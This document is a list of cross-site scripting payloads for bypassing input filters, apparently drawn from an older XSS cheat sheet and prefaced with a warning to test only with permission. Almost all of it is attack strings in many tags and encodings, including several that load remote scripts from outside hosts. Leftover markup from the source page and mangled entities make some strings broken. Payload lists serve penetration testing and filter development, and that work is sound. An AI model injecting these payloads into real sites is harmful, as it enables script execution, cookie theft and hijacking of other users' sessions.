XSS Injections

This is a collection of possible javascript tags that can be used to test for XSS Injections. These commands should NEVER BE USED to perform any kind of illegal activities. If you do not have appropriate permissions to test a website or application that DO NOT TOUCH IT

Insert XSS Injection Examples Into Script Tags

# Test whether javascript specific chars are entered into a comment after submitting a form
TEST JS CHARS: ";<>

# XSS Testing Tags
alert('XSS')

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--&gt&lt/SCRIPT&gt"&gt'&gt&ltSCRIPT&gtalert(String.fromCharCode(88,83,83))&
amplt/SCRIPT&gt

'';!--"&ltXSS&gt=&{()}

&ltSCRIPT SRC=http://jb51.net/xss.js&gt&lt/SCRIPT&gt

&ltIMG SRC="javascript:alert('XSS');"&gt

&ltIMG SRC=javascript:alert('XSS')&gt

&ltIMG SRC=JaVaScRiPt:alert('XSS')&gt

&ltIMG SRC=javascript:alert(&quot;XSS&quot;)&gt

&ltIMG SRC=javascript:alert("RSnake says, 'XSS'")&gt

&ltIMG """&gt&ltSCRIPT&gtalert("XSS")&lt/SCRIPT&gt"&gt

&ltIMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt

&ltIMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;&gt

&ltIMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&
#0000083&#0000039&#0000041&gt

&ltIMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&gt

&ltIMG SRC="jav	ascript:alert('XSS');"&gt

&ltIMG SRC="jav&#x09;ascript:alert('XSS');"&gt

&ltIMG SRC="jav&#x0A;ascript:alert('XSS');"&gt

&ltIMG SRC="jav&#x0D;ascript:alert('XSS');"&gt

===============================================
MULTILINE
===============================================
&ltIMG
SRC
=
"
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
"
&gt

perl -e 'print "&ltIMG SRC=java\0script:alert(\"XSS\")&gt";' &gt out

perl -e 'print "&ltSCR\0IPT&gtalert(\"XSS\")&lt/SCR\0IPT&gt";' &gt out

&ltIMG SRC=" &#14;  javascript:alert('XSS');"&gt

&ltSCRIPT/XSS SRC="http://jb51.net/xss.js"&gt&lt/SCRIPT&gt

&ltBODY onload!#$%&()*~+-_.,:;?@[/|\]^=alert("XSS")&gt

&ltSCRIPT/SRC="http://jb51.net/xss.js"&gt&lt/SCRIPT&gt

&lt&ltSCRIPT&gtalert("XSS");//&lt&lt/SCRIPT&gt

&ltSCRIPT SRC=http://jb51.net/xss.js?&ltB&gt

&ltSCRIPT SRC=//ha.ckers.org/.j&gt

&ltIMG SRC="javascript:alert('XSS')"

&ltiframe src=http://jb51.net/scriptlet.html &lt

&ltSCRIPT&gta=/XSS/
alert(a.source)&lt/SCRIPT&gt

\";alert('XSS');//

&lt/TITLE&gt&ltSCRIPT&gtalert("XSS");&lt/SCRIPT&gt

&ltINPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"&gt

&ltBODY BACKGROUND="javascript:alert('XSS')"&gt

&ltBODY ONLOAD=alert('XSS')&gt

&ltIMG DYNSRC="javascript:alert('XSS')"&gt

&ltIMG LOWSRC="javascript:alert('XSS')"&gt

&ltBGSOUND SRC="javascript:alert('XSS');"&gt

&ltBR SIZE="&{alert('XSS')}"&gt

&ltLAYER SRC="http://jb51.net/scriptlet.html"&gt&lt/LAYER&gt

&ltLINK REL="stylesheet" HREF="javascript:alert('XSS');"&gt

&ltLINK REL="stylesheet" HREF="http://jb51.net/xss.css"&gt

&ltSTYLE&gt@import'http://jb51.net/xss.css';&lt/STYLE&gt

&ltMETA HTTP-EQUIV="Link" Content="&lthttp://jb51.net/xss.css&gt; REL=stylesheet"&gt

&ltSTYLE&gtBODY{-moz-binding:url("http://jb51.net/xssmoz.xml#xss")}&lt/STYLE&gt

&ltXSS STYLE="behavior: url(xss.htc);"&gt

&ltSTYLE&gtli {list-style-image: url("javascript:alert('XSS')");}&lt/STYLE&gt&ltUL&gt&ltLI&gtXSS

&ltIMG SRC='vbscript:msgbox("XSS")'&gt

&ltIMG SRC="mocha:[code]"&gt

&ltIMG SRC="livescript:[code]"&gt

scriptalert(XSS??script?/TEXTAREA&gt&ltBR&gt
&ltDIV ALIGN="CENTER"&gtBrowser support: [&ltspan class="s"&gtIE7.0&lt/span&gt|&ltspan class="s"&gtIE6.0&lt/span&gt|&ltspan class="s"&gtNS8.1-IE&lt/span&gt] [&ltspan class="ns"&gtNS8.1-G&lt/span&gt|&lt
span class="ns"&gtFF2.0&lt/span&gt] [&ltspan class="ns"&gtO9.02&lt/span&gt] [&ltspan class="ns"&gtNS4&lt/span&gt]&lt/DIV&gt&ltBR&gt&ltBR&gt

&ltA NAME="XSS_META"&gtMETA&lt/A&gt (the odd thing about meta refresh is that it doesn't send a referrer in the header - so it can be used for certain types of attacks where you need to get rid of referring URLs):&ltBR&gt
&ltTEXTAREA COLS=45 ROWS=3&gt&ltMETA HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"&gt

&ltMETA HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K"&gt

&ltMETA HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');"&gt

&ltIFRAME SRC="javascript:alert('XSS');"&gt&lt/IFRAME&gt

&ltFRAMESET&gt&ltFRAME SRC="javascript:alert('XSS');"&gt&lt/FRAMESET&gt

&ltTABLE BACKGROUND="javascript:alert('XSS')"&gt

&ltTABLE&gt&ltTD BACKGROUND="javascript:alert('XSS')"&gt

&ltDIV STYLE="background-image: url(javascript:alert('XSS'))"&gt

&ltDIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029"&gt

&ltDIV STYLE="background-image: url(&#1;javascript:alert('XSS'))"&gt